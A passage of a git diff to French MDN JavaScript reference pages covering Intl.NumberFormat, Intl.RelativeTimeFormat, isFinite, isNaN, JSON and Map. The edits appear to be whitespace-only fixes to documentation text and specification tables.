toutes les propriétés suivantes : + - : Paramètre optionnel. Un objet avec certaines ou toutes les propriétés suivantes : - `localeMatcher` - : L'algorithme de correspondance à utiliser pour la locale. Les valeurs possibles sont `"lookup"` et `"best fit"` ; le défaut est `"best fit"`. Pour des informations sur cette option, voir la page {{jsxref("Intl","Intl","##Choix_de_la_locale")}}. @@ -41,7 +41,7 @@ L'objet **`Intl.NumberFormat`** est un constructeur permettant de créer des obj - `currency` - : La devise à utiliser pour le formatage. Les valeurs possibles sont les codes ISO 4217 pour les devises, tels que `"USD"` pour le dollar américain, `"EUR"` pour l'euro, ou `"CNY"` pour le yuan chinois. Voir la page listant [les codes actuels pour les devises et les fonds](http://www.currency-iso.org/en/home/tables/table-a1.html) (en anglais). Il n'y a pas de valeur par défaut. Si le style choisi avec l'option `style` est "currency", la propriété `currency` doit être définie. - `currencyDisplay` - - : La façon d'afficher la devise dans le format courant. Les valeurs possibles sont `"symbol"` qui permet d'utiliser un symbole localisé comme '€', `"code"` qui affichera le code ISO de la devise (voir ci-avant), `"name"` affichera un nom localisé pour la devise comme `"dollar"`. La valeur par défaut est `"symbol"`. + - : La façon d'afficher la devise dans le format courant. Les valeurs possibles sont `"symbol"` qui permet d'utiliser un symbole localisé comme '€', `"code"` qui affichera le code ISO de la devise (voir ci-avant), `"name"` affichera un nom localisé pour la devise comme `"dollar"`. La valeur par défaut est `"symbol"`. - `useGrouping` - : Cette option indique si on doit utiliser des séparateurs de groupes (comme les séparateurs de milliers ou autres comme lakhs et crores). Les valeurs possibles sont `true` et `false`. La valeur par défaut `true`. @@ -52,7 +52,7 @@ L'objet **`Intl.NumberFormat`** est un constructeur permettant de créer des obj - `minimumFractionDigits` - : Le nombre minimal de chiffres à utiliser pour la partie fractionnaire. Les valeurs possibles sont comprises entre 0 et 20. Pour les formats `"decimal"` et `"percent"`, la valeur par défaut est 0. La valeur par défaut pour le formatage monétaire (`"currency"`) correspond au nombre de chiffres défini par [la liste de codes de devises ISO 4217](https://www.currency-iso.org/en/home/tables/table-a1.html), si cette valeur n'est pas définie dans cette liste, on aura 2 chiffres. - `maximumFractionDigits` - - : Le nombre maximal de chiffres à utiliser pour représenter la partie fractionnaire. Les valeurs possibles sont comprises entre 0 et 20. Pour le format `"decimal"`, la valeur par défaut est le maximum entre 3 et `minimumFractionDigits`. Pour le format monétaire (`"currency"`), la valeur par défaut est le maximum entre `minimumFractionDigits` et le nombre de chiffres prévus par la liste [ISO 4217 des codes de devises](https://www.currency-iso.org/en/home/tables/table-a1.html) (ou 2 si cette information n'est pas disponible dans cette liste). Pour le format en pourcent, la valeur par défaut est le maximum entre `minimumFractionDigits` et 0. + - : Le nombre maximal de chiffres à utiliser pour représenter la partie fractionnaire. Les valeurs possibles sont comprises entre 0 et 20. Pour le format `"decimal"`, la valeur par défaut est le maximum entre 3 et `minimumFractionDigits`. Pour le format monétaire (`"currency"`), la valeur par défaut est le maximum entre `minimumFractionDigits` et le nombre de chiffres prévus par la liste [ISO 4217 des codes de devises](https://www.currency-iso.org/en/home/tables/table-a1.html) (ou 2 si cette information n'est pas disponible dans cette liste). Pour le format en pourcent, la valeur par défaut est le maximum entre `minimumFractionDigits` et 0. - `minimumSignificantDigits` - : Le nombre minimal de chiffres significatifs à utiliser. Les valeurs possibles sont comprises entre 1 et 21. La valeur par défaut est 1. - `maximumSignificantDigits` @@ -139,7 +139,7 @@ var nombre = 123456.789; // on affiche une devise avec le style "currency" console.log(new Intl.NumberFormat("de-DE", {style: "currency", currency: "EUR"}).format(nombre)); -// → 123.456,79 € +// → 123.456,79 € // Le yen japonais n'a pas de centimes console.log(new Intl.NumberFormat("ja-JP", {style: "currency", currency: "JPY"}).format(nombre)) @@ -155,8 +155,8 @@ console.log(new Intl.NumberFormat("en-IN", {maximumSignificantDigits: 3}).format | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------- | -------------------------------- | -------------------- | | {{SpecName('ES Int 1.0', '#sec-11.1', 'Intl.NumberFormat')}} | {{Spec2('ES Int 1.0')}} | Définition initiale. | -| {{SpecName('ES Int 2.0', '#sec-11.1', 'Intl.NumberFormat')}} | {{Spec2('ES Int 2.0')}} | | -| {{SpecName('ES Int Draft', '#numberformat-objects', 'Intl.NumberFormat')}} | {{Spec2('ES Int Draft')}} | | +| {{SpecName('ES Int 2.0', '#sec-11.1', 'Intl.NumberFormat')}} | {{Spec2('ES Int 2.0')}} | | +| {{SpecName('ES Int Draft', '#numberformat-objects', 'Intl.NumberFormat')}} | {{Spec2('ES Int Draft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/intl/numberformat/resolvedoptions/index.md b/files/fr/web/javascript/reference/global_objects/intl/numberformat/resolvedoptions/index.md index 84d7961afb..14c47ace19 100644 --- a/files/fr/web/javascript/reference/global_objects/intl/numberformat/resolvedoptions/index.md +++ b/files/fr/web/javascript/reference/global_objects/intl/numberformat/resolvedoptions/index.md @@ -25,7 +25,7 @@ La méthode **`Intl.NumberFormat.prototype.resolvedOptions()`** renvoie un nouve ### Valeur de retour -Un objet dont les propriétés correspondent aux options de locale et de format calculées lors de l'initialisation de l'objet {{jsxref("NumberFormat", "Intl.NumberFormat")}}. +Un objet dont les propriétés correspondent aux options de locale et de format calculées lors de l'initialisation de l'objet {{jsxref("NumberFormat", "Intl.NumberFormat")}}. ## Description @@ -69,8 +69,8 @@ usedOptions.useGrouping; // true | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | -------------------- | | {{SpecName('ES Int 1.0', '#sec-11.3.3', 'Intl.NumberFormat.prototype.resolvedOptions')}} | {{Spec2('ES Int 1.0')}} | Définition initiale. | -| {{SpecName('ES Int 2.0', '#sec-11.3.3', 'Intl.NumberFormat.prototype.resolvedOptions')}} | {{Spec2('ES Int 2.0')}} | | -| {{SpecName('ES Int Draft', '#sec-Intl.NumberFormat.prototype.resolvedOptions', 'Intl.NumberFormat.prototype.resolvedOptions')}} | {{Spec2('ES Int Draft')}} | | +| {{SpecName('ES Int 2.0', '#sec-11.3.3', 'Intl.NumberFormat.prototype.resolvedOptions')}} | {{Spec2('ES Int 2.0')}} | | +| {{SpecName('ES Int Draft', '#sec-Intl.NumberFormat.prototype.resolvedOptions', 'Intl.NumberFormat.prototype.resolvedOptions')}} | {{Spec2('ES Int Draft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/intl/numberformat/supportedlocalesof/index.md b/files/fr/web/javascript/reference/global_objects/intl/numberformat/supportedlocalesof/index.md index 0e53d66889..84a83dfd5d 100644 --- a/files/fr/web/javascript/reference/global_objects/intl/numberformat/supportedlocalesof/index.md +++ b/files/fr/web/javascript/reference/global_objects/intl/numberformat/supportedlocalesof/index.md @@ -59,8 +59,8 @@ console.log(Intl.NumberFormat.supportedLocalesOf(locales, options).join(", ")); | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------------- | | {{SpecName('ES Int 1.0', '#sec-11.2.2', 'Intl.NumberFormat.supportedLocalesOf')}} | {{Spec2('ES Int 1.0')}} | Définition initiale | -| {{SpecName('ES Int 2.0', '#sec-11.2.2', 'Intl.NumberFormat.supportedLocalesOf')}} | {{Spec2('ES Int 2.0')}} | | -| {{SpecName('ES Int Draft', '#sec-Intl.NumberFormat.supportedLocalesOf', 'Intl.NumberFormat.supportedLocalesOf')}} | {{Spec2('ES Int Draft')}} | | +| {{SpecName('ES Int 2.0', '#sec-11.2.2', 'Intl.NumberFormat.supportedLocalesOf')}} | {{Spec2('ES Int 2.0')}} | | +| {{SpecName('ES Int Draft', '#sec-Intl.NumberFormat.supportedLocalesOf', 'Intl.NumberFormat.supportedLocalesOf')}} | {{Spec2('ES Int Draft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/format/index.md b/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/format/index.md index 3f1e19cee0..e415adbd83 100644 --- a/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/format/index.md +++ b/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/format/index.md @@ -76,7 +76,7 @@ rtf.format(1, "day"); | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------------------- | ----------------------- | ------------ | -| [Proposition pour `Intl.RelativeTime`](https://tc39.github.io/proposal-intl-relative-time/#sec-Intl.RelativeTimeFormat.prototype.format) | Proposition de niveau 3 | | +| [Proposition pour `Intl.RelativeTime`](https://tc39.github.io/proposal-intl-relative-time/#sec-Intl.RelativeTimeFormat.prototype.format) | Proposition de niveau 3 | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/formattoparts/index.md b/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/formattoparts/index.md index be57f9e3d3..a126f37e74 100644 --- a/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/formattoparts/index.md +++ b/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/formattoparts/index.md @@ -56,7 +56,7 @@ rtf.formatToParts(100, "day"); | Spécifications | État | Commentaires | | ----------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------- | ------------ | -| [Proposition pour `Intl.RelativeTime`](https://tc39.github.io/proposal-intl-relative-time/#sec-Intl.RelativeTimeFormat.prototype.formatToParts) | Proposition de niveau 3 | | +| [Proposition pour `Intl.RelativeTime`](https://tc39.github.io/proposal-intl-relative-time/#sec-Intl.RelativeTimeFormat.prototype.formatToParts) | Proposition de niveau 3 | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/index.md b/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/index.md index 85bfd8665a..8049ee3477 100644 --- a/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/index.md +++ b/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/index.md @@ -31,9 +31,9 @@ L'objet **`Intl.RelativeTimeFormat`** est un constructeur fournissant des objets - `localeMatcher` - : L'algorithme de correspondance à utiliser pour la locale. Les valeurs possibles sont `"lookup"` et `"best fit"` ; le défaut est `"best fit"`. Pour des informations sur cette option, voir la page {{jsxref("Objets_globaux/Intl","Intl","##Choix_de_la_locale")}}. - `numeric` - - : Le format du message de sortie. Les valeurs possibles sont `"always"` (par exemple `1 day ago`) ou `"auto"` (par exemple `yesterday`). `"auto"` permet de ne pas toujours avoir de valeurs numériques dans le message produit. + - : Le format du message de sortie. Les valeurs possibles sont `"always"` (par exemple `1 day ago`) ou `"auto"` (par exemple `yesterday`). `"auto"` permet de ne pas toujours avoir de valeurs numériques dans le message produit. - `style` - - : La longueur du message internationalisé. Les valeurs possibles sont : `"long"` (la valeur par défaut) (par exemple : `in 1 month`), `"short"` (par exemple : `in 1 mo.`) ou `"narrow"` (par exemple : `in 1 mo.`). Le style `narrow` peut être semblable au style `short` pour certaines locales. + - : La longueur du message internationalisé. Les valeurs possibles sont : `"long"` (la valeur par défaut) (par exemple : `in 1 month`), `"short"` (par exemple : `in 1 mo.`) ou `"narrow"` (par exemple : `in 1 mo.`). Le style `narrow` peut être semblable au style `short` pour certaines locales. ## Description diff --git a/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/resolvedoptions/index.md b/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/resolvedoptions/index.md index daa3fcb143..187d766d53 100644 --- a/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/resolvedoptions/index.md +++ b/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/resolvedoptions/index.md @@ -27,7 +27,7 @@ La méthode **`Intl.RelativeTimeFormat.prototype.resolvedOptions()`** renvoie un ### Valeur de retour -Un nouvel objet dont les propriétés reflètent les options de locale et de formatage calculées lors de l'initialisation de l'objet {{jsxref("RelativeTimeFormat")}}. +Un nouvel objet dont les propriétés reflètent les options de locale et de formatage calculées lors de l'initialisation de l'objet {{jsxref("RelativeTimeFormat")}}. ## Description @@ -47,7 +47,7 @@ L'objet renvoyé par cette méthode possèdera les propriétés suivantes : - : Le format du message produit. Les valeurs possibles sont : - - `"always"` : la valeur par défaut (par exemple `1 day ago`), + - `"always"` : la valeur par défaut (par exemple `1 day ago`), - `"auto"` : cette valeur indique qu'il n'est pas nécessaire d'utiliser de valeur numérique dans le message produit (par exemple `yesterday`). - `numberingSystem` @@ -70,7 +70,7 @@ usedOptions.numberingSystem; // "latn" | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------- | ------------ | | | | | -| [Proposition pour `Intl.RelativeTime`](https://tc39.github.io/proposal-intl-relative-time/#sec-intl.relativetimeformat.prototype.resolvedoptions) | Proposition de niveau 3 | | +| [Proposition pour `Intl.RelativeTime`](https://tc39.github.io/proposal-intl-relative-time/#sec-intl.relativetimeformat.prototype.resolvedoptions) | Proposition de niveau 3 | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/supportedlocalesof/index.md b/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/supportedlocalesof/index.md index 261968f2ba..9538189e13 100644 --- a/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/supportedlocalesof/index.md +++ b/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/supportedlocalesof/index.md @@ -54,7 +54,7 @@ Si on dispose d'un environnement qui supporte les locales indonésienne et allem | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------- | ------------ | -| [Proposition pour `Intl.RelativeTime`](https://tc39.github.io/proposal-intl-relative-time/#sec-Intl.RelativeTimeFormat.supportedLocalesOf) | Proposition de niveau 3 | | +| [Proposition pour `Intl.RelativeTime`](https://tc39.github.io/proposal-intl-relative-time/#sec-Intl.RelativeTimeFormat.supportedLocalesOf) | Proposition de niveau 3 | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/isfinite/index.md b/files/fr/web/javascript/reference/global_objects/isfinite/index.md index 2bfa521574..28b6bb4862 100644 --- a/files/fr/web/javascript/reference/global_objects/isfinite/index.md +++ b/files/fr/web/javascript/reference/global_objects/isfinite/index.md @@ -56,9 +56,9 @@ isFinite("0"); // true ce qui aurait été false | Spécification | État | Commentaires | | -------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2')}} | {{Spec2('ES3')}} | Définition initiale. | -| {{SpecName('ES5.1', '#sec-15.1.2.5', 'isFinite')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-isfinite-number', 'isFinite')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-isfinite-number', 'isFinite')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.1.2.5', 'isFinite')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-isfinite-number', 'isFinite')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-isfinite-number', 'isFinite')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/isnan/index.md b/files/fr/web/javascript/reference/global_objects/isnan/index.md index acc31bfd71..6920196bd5 100644 --- a/files/fr/web/javascript/reference/global_objects/isnan/index.md +++ b/files/fr/web/javascript/reference/global_objects/isnan/index.md @@ -119,9 +119,9 @@ isNaN("blabla") // true : "blabla" est converti en un nombre | Spécification | État | Commentaires | | ------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. | -| {{SpecName('ES5.1', '#sec-15.1.2.4', 'isNaN')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-isnan-number', 'isNaN')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-isnan-number', 'isNaN')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.1.2.4', 'isNaN')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-isnan-number', 'isNaN')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-isnan-number', 'isNaN')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/json/index.md b/files/fr/web/javascript/reference/global_objects/json/index.md index ac25b46a6b..99ab4c7f5a 100644 --- a/files/fr/web/javascript/reference/global_objects/json/index.md +++ b/files/fr/web/javascript/reference/global_objects/json/index.md @@ -116,6 +116,6 @@ Des espaces blancs insignifiants peuvent être présents n’importe où sauf da - [JSON Compare](http://jsoncompare.org/) qui permet de comparer deux JSON - [JSON Beautifier](http://jsonbeautifier.org/) qui permet de visualiser et d'éditer un fichier JSON - - [JSON Parser](https://jsonparser.org/) qui permet de formatter une chaîne JSON - - [JSON Formatter](https://extendsclass.com/json-validator.html) qui permet de formatter et échapper une chaîne JSON - - [JSON Validator](https://tools.learningcontainer.com/json-validator/) qui permet de valider une chaîne JSON + - [JSON Parser](https://jsonparser.org/) qui permet de formatter une chaîne JSON + - [JSON Formatter](https://extendsclass.com/json-validator.html) qui permet de formatter et échapper une chaîne JSON + - [JSON Validator](https://tools.learningcontainer.com/json-validator/) qui permet de valider une chaîne JSON diff --git a/files/fr/web/javascript/reference/global_objects/json/parse/index.md b/files/fr/web/javascript/reference/global_objects/json/parse/index.md index 723c68223b..adf5547f16 100644 --- a/files/fr/web/javascript/reference/global_objects/json/parse/index.md +++ b/files/fr/web/javascript/reference/global_objects/json/parse/index.md @@ -12,7 +12,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/JSON/parse --- {{JSRef}} -La méthode **`JSON.parse()`** analyse une chaîne de caractères JSON et construit la valeur JavaScript ou l'objet décrit par cette chaîne. On peut éventuellement utiliser cette fonction avec un paramètre de modification permettant de traiter l'objet avant qu'il soit renvoyé. +La méthode **`JSON.parse()`** analyse une chaîne de caractères JSON et construit la valeur JavaScript ou l'objet décrit par cette chaîne. On peut éventuellement utiliser cette fonction avec un paramètre de modification permettant de traiter l'objet avant qu'il soit renvoyé. {{EmbedInteractiveExample("pages/js/json-parse.html")}} @@ -51,7 +51,7 @@ try { } ``` -### Utiliser le paramètre `reviver` +### Utiliser le paramètre `reviver` Si un _reviver_ est spécifié, la valeur obtenue par l'analyse est transformée avant d'être renvoyée. Plus précisément, la valeur calculée, et toutes les propriétés (commençant avec les propriétés les plus imbriquées), sont passées individuellement au _reviver_, qui est appelé avec : l'objet contenant la propriété en cours de traitement, le nom de la propriété en chaine de caractères et la valeur de la propriété. Si la fonction _reviver_ retourne {{jsxref("undefined")}} (ou ne retourne aucune valeur, par exemple si l'exécution s'arrête à la fin de la fonction), la propriété est supprimée de l'objet. Autrement la propriété est redéfinie avec la valeur retournée. diff --git a/files/fr/web/javascript/reference/global_objects/json/stringify/index.md b/files/fr/web/javascript/reference/global_objects/json/stringify/index.md index 1232bddcc2..e21550e97a 100644 --- a/files/fr/web/javascript/reference/global_objects/json/stringify/index.md +++ b/files/fr/web/javascript/reference/global_objects/json/stringify/index.md @@ -48,7 +48,7 @@ Une chaîne de caractères JSON qui représente la valeur indiquée. La fonction `JSON.stringify()` convertit un objet en JSON : - L'ordre des propriétés des objets qui ne sont pas des tableaux n'est pas garanti. Par la suite, ne pas supposer que cet ordre soit respecté. -- Les objets {{jsxref("Boolean")}}, {{jsxref("Number")}} et {{jsxref("String")}} sont convertis en leur valeur primitive correspondante, en accord avec la sémantique traditionnelle. +- Les objets {{jsxref("Boolean")}}, {{jsxref("Number")}} et {{jsxref("String")}} sont convertis en leur valeur primitive correspondante, en accord avec la sémantique traditionnelle. - Si {{jsxref("undefined")}}, une fonction ou un symbole est rencontré lors de la conversion , il est soit omis ( quand il se trouve dans un objet ) ou ramené à {{jsxref("null")}} ( quand il se trouve dans un tableau). `JSON.stringify()` peut également renvoyer `undefined` lorsqu'il reçoit des valeurs « brutes » qui ne sont pas objectifiées comme par exemple `JSON.stringify(function(){})` ou `JSON.stringify(undefined)`. - Toutes les propriétés liées aux symboles (cf. {{jsxref("Symbol")}}) seront complètement ignorées , même lorsque la fonction `remplaçant` est utilisée. - Les propriétés qui ne sont pas énumérables seront ignorées. @@ -183,7 +183,7 @@ L'argument `espace` est utilisé pour contrôler les espacements utilisés dans ```js JSON.stringify({ a: 2 }, null, ' '); // '{ -// "a": 2 +// "a": 2 // }' ``` @@ -193,8 +193,8 @@ Dans l'exemple suivant on utilise la tabulation pour rendre lisible le résultat JSON.stringify({ uno: 1, dos: 2 }, null, '\t'); // renverra // '{ -// "uno": 1, -// "dos": 2 +// "uno": 1, +// "dos": 2 // }' ``` diff --git a/files/fr/web/javascript/reference/global_objects/map/@@iterator/index.md b/files/fr/web/javascript/reference/global_objects/map/@@iterator/index.md index a971dab13c..1e19470b6b 100644 --- a/files/fr/web/javascript/reference/global_objects/map/@@iterator/index.md +++ b/files/fr/web/javascript/reference/global_objects/map/@@iterator/index.md @@ -61,7 +61,7 @@ for (var v of maMap) { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ------------------- | | {{SpecName('ES2015', '#sec-map.prototype-@@iterator', 'Map.prototype[@@iterator]()')}} | {{Spec2('ES2015')}} | Définition initiale | -| {{SpecName('ESDraft', '#sec-map.prototype-@@iterator', 'Map.prototype[@@iterator]()')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-map.prototype-@@iterator', 'Map.prototype[@@iterator]()')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/map/@@species/index.md b/files/fr/web/javascript/reference/global_objects/map/@@species/index.md index 69c46bb86c..50ba9741d9 100644 --- a/files/fr/web/javascript/reference/global_objects/map/@@species/index.md +++ b/files/fr/web/javascript/reference/global_objects/map/@@species/index.md @@ -45,7 +45,7 @@ class MaMap extends Map { | Spécification | Statut | Commentaires | | ---------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-get-map-@@species', 'get Map [ @@species ]')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-get-map-@@species', 'get Map [ @@species ]')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-get-map-@@species', 'get Map [ @@species ]')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/map/@@tostringtag/index.md b/files/fr/web/javascript/reference/global_objects/map/@@tostringtag/index.md index 0618585f04..4eacf94483 100644 --- a/files/fr/web/javascript/reference/global_objects/map/@@tostringtag/index.md +++ b/files/fr/web/javascript/reference/global_objects/map/@@tostringtag/index.md @@ -32,7 +32,7 @@ Object.prototype.toString.call(new Map()) // "[object Map]" | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-map.prototype-@@tostringtag', 'Map.prototype[@@toStringTag]')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-map.prototype-@@tostringtag', 'Map.prototype[@@toStringTag]')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-map.prototype-@@tostringtag', 'Map.prototype[@@toStringTag]')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/map/clear/index.md b/files/fr/web/javascript/reference/global_objects/map/clear/index.md index 7eb0c53805..d53f651c14 100644 --- a/files/fr/web/javascript/reference/global_objects/map/clear/index.md +++ b/files/fr/web/javascript/reference/global_objects/map/clear/index.md @@ -13,7 +13,7 @@ original_slug: Web/JavaScript/Reference/Global_Objects/Map/clear --- {{JSRef}} -La méthode **`clear()`** supprime tous les éléments d'un objet `Map`. +La méthode **`clear()`** supprime tous les éléments d'un objet `Map`. {{EmbedInteractiveExample("pages/js/map-prototype-clear.html")}} diff --git a/files/fr/web/javascript/reference/global_objects/map/delete/index.md b/files/fr/web/javascript/reference/global_objects/map/delete/index.md index 0e8aa9ecf5..6ccec495ca 100644 --- a/files/fr/web/javascript/reference/global_objects/map/delete/index.md +++ b/files/fr/web/javascript/reference/global_objects/map/delete/index.md @@ -45,7 +45,7 @@ maMap.has("truc"); // Renvoie false. "truc" n'est plus présent. | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-map.prototype.delete', 'Map.prototype.delete')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-map.prototype.delete', 'Map.prototype.delete')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-map.prototype.delete', 'Map.prototype.delete')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/map/entries/index.md b/files/fr/web/javascript/reference/global_objects/map/entries/index.md index a03e8f96c4..843b4eeb8f 100644 --- a/files/fr/web/javascript/reference/global_objects/map/entries/index.md +++ b/files/fr/web/javascript/reference/global_objects/map/entries/index.md @@ -48,7 +48,7 @@ console.log(mapIter.next().value); // [Object, "bidule"] | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------- | ---------------------------- | ------------------- | | {{SpecName('ES2015', '#sec-map.prototype.entries', 'Map.prototype.entries')}} | {{Spec2('ES2015')}} | Défintion initiale. | -| {{SpecName('ESDraft', '#sec-map.prototype.entries', 'Map.prototype.entries')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-map.prototype.entries', 'Map.prototype.entries')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/map/has/index.md b/files/fr/web/javascript/reference/global_objects/map/has/index.md index 998b7fe3bc..295f9cab6f 100644 --- a/files/fr/web/javascript/reference/global_objects/map/has/index.md +++ b/files/fr/web/javascript/reference/global_objects/map/has/index.md @@ -45,7 +45,7 @@ maMap.has("machin");// renvoie false | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-map.prototype.has', 'Map.prototype.has')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-map.prototype.has', 'Map.prototype.has')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-map.prototype.has', 'Map.prototype.has')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/map/index.md b/files/fr/web/javascript/reference/global_objects/map/index.md index 8cb0561cdd..6829c8d088 100644 --- a/files/fr/web/javascript/reference/global_objects/map/index.md +++ b/files/fr/web/javascript/reference/global_objects/map/index.md @@ -11,7 +11,7 @@ original_slug: Web/JavaScript/Reference/Global_Objects/Map --- {{JSRef}} -L'objet **`Map`** représente un dictionnaire, autrement dit une carte de clés/valeurs. N'importe quelle valeur valable en JavaScript (que ce soit les objets ou les valeurs de types primitifs) peut être utilisée comme clé ou comme valeur. +L'objet **`Map`** représente un dictionnaire, autrement dit une carte de clés/valeurs. N'importe quelle valeur valable en JavaScript (que ce soit les objets ou les valeurs de types primitifs) peut être utilisée comme clé ou comme valeur. L'ordre d'insertion des clés est mémorisé dans l'objet et les boucles sur les `Map` parcourent les clés dans cet ordre. @@ -35,7 +35,7 @@ On notera qu'un objet `Map` contenant des objets ne sera parcouru que dans l'ord L'égalité des clés est testée avec l'algorithme basé sur [l'égalité de valeurs](/fr/docs/JavaScript/Les_différents_tests_d_Égalité_comment_les_utiliser#.C3.89galit.C3.A9_de_valeurs) : - {{jsxref("NaN")}} est considéré égal à `NaN` (bien que, pour l'égalité stricte `NaN !== NaN`) -- les autres valeurs sont considérées égales au sens de l'égalité stricte (l'opérateur `===`). +- les autres valeurs sont considérées égales au sens de l'égalité stricte (l'opérateur `===`). Dans les versions précédentes des brouillons ECMAScript 2015 (ES6) `-0` et `+0` étaient considérés différents (bien que `-0 === +0`), ceci a été changé dans les versions ultérieures et a été adapté avec Gecko 29 {{geckoRelease("29")}} ({{bug("952870")}}) et une version nocturne de [Chrome](https://code.google.com/p/v8/issues/detail?id=3069). @@ -43,7 +43,7 @@ Dans les versions précédentes des brouillons ECMAScript 2015 (ES6) `-0` et `+0 Les {{jsxref("Object", "objets","",1)}} sont similaires aux `Maps`, chacun manipulant des clés associées à des valeurs, récupérant ces valeurs, supprimant des clés... Il n'y avait auparavant pas d'alternatives natives et c'est pourquoi, historiquement, les objets JavaScript ont été utilisés comme des `Maps`. Malgré tout, il y a des différences importantes entre `Objects` et `Maps` qui permettent de distinguer une utilisation des objets `Map` plus efficace : -- Un `Object` possède un prototype, certaines clés par défaut peuvent donc entrer en collision avec les clés qu'on souhaite créer. À partir d'ES5, on peut écrire `map =` {{jsxref("Object.create", "Object.create(null)")}} mais cette formulation est rarement utilisée. +- Un `Object` possède un prototype, certaines clés par défaut peuvent donc entrer en collision avec les clés qu'on souhaite créer. À partir d'ES5, on peut écrire `map =` {{jsxref("Object.create", "Object.create(null)")}} mais cette formulation est rarement utilisée. - Les clés d'une `Map` sont ordonnées tandis que les clés d'un objet n'ont pas d'ordre particulier. Ainsi, quand on parcourt une `Map`, on obtient les clés selon leur ordre d'insertion. On notera qu'à partir d'ECMAScript 2015, la spécification pour les objets indique de conserver l'ordre de création pour les clés qui sont des chaînes et des symboles. - Les clés d'un `Object` sont des {{jsxref("String", "chaînes de caractères","",1)}} ou des symboles (cf. {{jsxref("Symbol")}}), alors que pour une `Map` ça peut être n'importe quelle 